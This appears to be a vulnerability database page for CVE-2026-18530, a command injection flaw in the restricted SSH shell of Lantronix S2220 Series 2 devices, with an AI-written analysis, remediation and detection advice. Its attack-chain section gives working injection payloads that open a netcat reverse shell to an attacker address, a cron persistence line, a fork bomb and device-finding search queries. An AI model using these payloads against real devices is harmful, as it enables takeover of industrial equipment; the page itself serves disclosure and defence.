CVE Professor
/
All CVEs
CVE-2026-18530

CVE-2026-18530 — Lantronix S2220 Series 2 (v.1.3.36) — CWE-78

CRITICAL CVSS 9.9 NVD

OS command injection in the a3cli restricted shell in Lantronix S2220 Series 2 allows an authenticated attacker to bypass shell restrictions and execute arbitrary operating system commands via unsanitized command substitution metacharacters, including backticks and $(), in parameters of permitted commands over SSH. This vulnerability is fixed in firmware version 1.3.37.

OS command injection in the a3cli restricted shell in Lantronix S2220 Series 2 allows an authenticated attacker to bypass shell restrictions and execute arbitrary operating system commands via unsanitized command substitution metacharacters, including backticks and $(), in parameters of permitted commands over SSH. This vulnerability is fixed in firmware version 1.3.37.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑18530 – OS command injection in the a3cli restricted shell

AttributeDetail
CWECWE‑78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
CVSS 3.1 VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H – Network‑reachable, low attack complexity, low‑privilege attacker, no user interaction, Scope = Changed, Critical impact on all three CIA pillars.
Affected componentThe *restricted* command interpreter (a3cli) that is exposed over SSH on Lantronix S2220 Series 2 devices running firmware v1.3.36.

| Root cause | a3cli implements a whitelist of “permitted” commands (e.g., show, set, restart). For each permitted command the firmware builds a shell‑level string and passes it to /bin/sh -c. The implementation fails to sanitize command‑substitution metacharacters such as back‑ticks (` cmd ) and the $()` syntax. Because the whitelist is applied after the command line is interpolated into a shell string, an attacker who can invoke any whitelisted command can inject additional commands by embedding a substitution construct in a command argument. The injection is performed after authentication (the attacker must have a valid SSH account with at least “user” level privileges), but the vulnerability bypasses the intended “restricted” nature of the shell, giving the attacker full OS command execution rights (root on the device).

In short: the input validation step that should strip or escape shell meta‑characters is missing, allowing an authenticated attacker to break out of the restricted command context and execute arbitrary commands with the privileges of the SSH login (typically root on these embedded devices).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid for a typical Linux‑based embedded OS; where the exact CLI syntax is not disclosed in the public advisory, the example is marked as illustrative.

1. Discovery & Reconnaissance

StepTechniqueExpected artefacts
1.1Network scan – Nmap TCP SYN scan on the default management IP (e.g., 192.168.1.10).Open port 22/tcp (SSH).
1.2Banner grabbing – ssh -vvv 192.168.1.10 or nc -v 192.168.1.10 22.SSH banner includes something like SSH-2.0-Lantronix S2220 v1.3.36. The version string directly reveals the vulnerable firmware.
1.3Credential harvesting – brute‑force, credential reuse, or phishing to obtain a valid low‑privilege SSH account (e.g., operator / operator123). The CVSS vector shows PR:L, meaning a low‑privilege account is sufficient.
1.4Identify the restricted shell – after login, the prompt may read a3cli>. Running help (or an equivalent) lists the whitelisted commands (show, set, reboot, …). This confirms the presence of the vulnerable component.

2. Exploitation

Goal: Execute an arbitrary OS command (e.g., create a reverse shell) by abusing command substitution in a permitted argument.

2.1. Choose a whitelisted command that accepts a free‑form string argument

Illustrative example: the command set hostname <value> is allowed. The firmware internally runs something akin to:

/bin/sh -c "hostname set $VALUE"

Because $VALUE is not escaped, any shell‑meta characters inside it are interpreted.

2.2. Craft the malicious payload

Using back‑ticks (` cmd ) or $() we can inject a new command. Example payload that spawns a reverse shell to attacker 10.0.0.5:4444`:

set hostname `nc 10.0.0.5 4444 -e /bin/sh`

or using $() syntax:

set hostname $(nc 10.0.0.5 4444 -e /bin/sh)

When the device processes this line, the back‑ticks are evaluated by the underlying /bin/sh, causing the nc command to run before the original hostname command finishes. The attacker receives a remote shell with the same privileges as the SSH session (typically root).

2.3. Execute the payload

# 1. Open an SSH session (using the harvested credentials)
ssh [email protected]

# 2. At the a3cli prompt, inject the payload
a3cli> set hostname `nc 10.0.0.5 4444 -e /bin/sh`

Result: The device initiates a TCP connection to 10.0.0.5:4444 and pipes /bin/sh to the attacker. The attacker now has an interactive root shell on the device.

Note: The exact command name (set hostname) is illustrative; any whitelisted command that accepts a free‑form string argument (e.g., set description, show log <filter>) can be used similarly.

3. Post‑Exploitation

PhaseTypical actions an attacker can perform
Privilege confirmationThe attacker already runs as the SSH user (often root on these appliances). id will show uid=0(root).
Persistence- Drop a cron entry: echo "* * * * * /bin/bash -c 'nc 10.0.0.5 4444 -e /bin/sh'" >> /etc/crontab <br> - Install a backdoor binary in /usr/local/bin and add it to the startup script (/etc/rc.local).
Lateral movementUse the compromised device as a foothold to scan the internal network (nmap -sn 10.0.0.0/24) and pivot to other IoT or SCADA assets.
Data exfiltrationRead configuration files (/etc/passwd, /etc/lantronix.conf), dump logs, or capture credentials stored in clear text.
Denial‑of‑serviceIssue reboot or shutdown commands (which are also whitelisted) to cause an outage, or overload the device with a fork bomb (:(){ ::& };:) via the same injection technique.

🌍 Real‑World Impact

CIACVSS impactPractical consequence
Confidentiality (C:H)High – The attacker can read any file on the device, capture credentials, and pivot to other network segments.
Integrity (I:H)High – Arbitrary commands allow modification of firmware, configuration, or insertion of malicious binaries.
Availability (A:H)High – The attacker can reboot, shutdown, or overload the device, causing immediate loss of service.
Scope (S:C)The vulnerability breaks the security boundary of the restricted shell, turning a “limited” user into a full‑privilege attacker.

Business impact may include:

  • Loss of control over remote I/O modules (S2220 is often used for serial‑to‑Ethernet conversion in industrial environments).
  • Potential manipulation of PLC communications, leading to production downtime or safety incidents.
  • Exposure of network topology and credentials, facilitating broader compromise of OT environments.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ItemAction
    Affected firmwareLantronix S2220 Series 2 – version 1.3.36 (and any later builds that retain the same a3cli implementation).
    Fixed inFirmware 1.3.37 – the release notes state “sanitise command‑substitution characters in a3cli”. Apply the vendor‑provided update as soon as possible.

    2. Immediate Work‑arounds (if patch cannot be applied instantly)

    TechniqueImplementation details
    Restrict SSH access- Move the SSH service to a management VLAN not reachable from the Internet.<br>- Enforce key‑based authentication only; disable password logins (PasswordAuthentication no).
    Disable the a3cli restricted shellIf the device offers a configuration option (e.g., system a3cli enable/disable), set it to *disable* and use a standard shell with stricter ACLs.
    Command‑filtering via a host‑based IDSDeploy a ModSecurity‑style rule on the device’s SSH daemon (if it supports sshd‑style Match blocks) to reject any line containing back‑ticks or $(. Example sshd_config snippet: <br>``<br>Match User operator<br> ForceCommand /usr/local/bin/a3cli-wrapper.sh<br>`<br>a3cli-wrapper.sh could contain: <br>`bash<br>#!/bin/sh<br># Reject dangerous meta‑characters<br+>if echo "$1"grep -qE '[$][({]' ; then<br+> echo "Rejected: command substitution not allowed" >&2<br+> exit 1<br+>fi<br+>exec /usr/bin/a3cli "$@"<br+>```
    Network‑level filteringBlock outbound connections from the device to untrusted IP ranges (e.g., default‑deny egress) to mitigate reverse‑shell attempts.
    Audit and rotate credentialsChange all default/weak passwords, enforce strong passwords or SSH keys, and rotate them after the patch.

    3. Detection

    IndicatorWhere to lookExample log entry
    SSH session executing back‑ticks/var/log/auth.log or device‑specific syslog.Jan 12 10:15:32 sshd[1245]: Accepted password for operator from 192.168.1.45 port 54321 ssh2<br>Jan 12 10:15:33 a3cli[1246]: Executed command: set hostname \nc 10.0.0.5 4444 -e /bin/sh\`
    Outbound connections to unknown hostsNetflow, firewall logs, or device’s netstat output.DENY OUTBOUND TCP 192.168.1.10:22 -> 10.0.0.5:4444
    Unexpected processesProcess list (ps aux) or auditd events.root 3421 0.0 0.1 12344 2100 ? Ss 10:15 0:00 /bin/nc 10.0.0.5 4444 -e /bin/sh
    File modificationsIntegrity‑monitoring tools (AIDE, Tripwire).Modified /etc/rc.local` (backdoor added).

    SIEM rule (pseudo‑YARA) – detect the pattern “a3cli + back‑tick”:

    title: "Lantronix a3cli command‑substitution injection"
    logsource:
      product: linux
      service: ssh
    detection:
      selection:
        Message|contains: "a3cli"
        Message|contains: "`"
      condition: selection
    level: high

    ⚠️ Urgency

  • CVSS 3.1 = 9.9 (Critical) – Network‑reachable, low complexity, low‑privilege attacker, and Scope = Changed with Complete impact on confidentiality, integrity, and availability.
  • No CISA KEV listing yet, but the severity and ease of exploitation make this a zero‑day* risk for any unpatched S2220 device.
  • Exploitability – The only prerequisite is a valid low‑privilege SSH credential, which is commonly obtained via credential reuse or weak passwords in OT environments.
Patch priority: Critical – apply firmware 1.3.37 immediately on all S2220 Series 2 devices. If patching cannot be completed within 24 hours, enforce the work‑arounds above (restrict SSH, disable a3cli, block outbound traffic) and begin active monitoring for the listed IoCs.
Bottom line: CVE‑2026‑18530 turns the “restricted” a3cli shell into a full remote code execution vector. Because the device often sits at the edge of industrial networks, exploitation can lead to immediate control‑plane compromise, data leakage, and potential safety hazards. Prompt patching, credential hygiene, and network segmentation are mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Lantronix S2220 Series 2"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Lantronix:S2220 Series 2 (v.1.3.36)
References & Advisories (2)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.5
CVE-2026-85785
An OS command injection vulnerability in the internal management API of TP-Link Deco BE68 v1 allows an adjacen
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am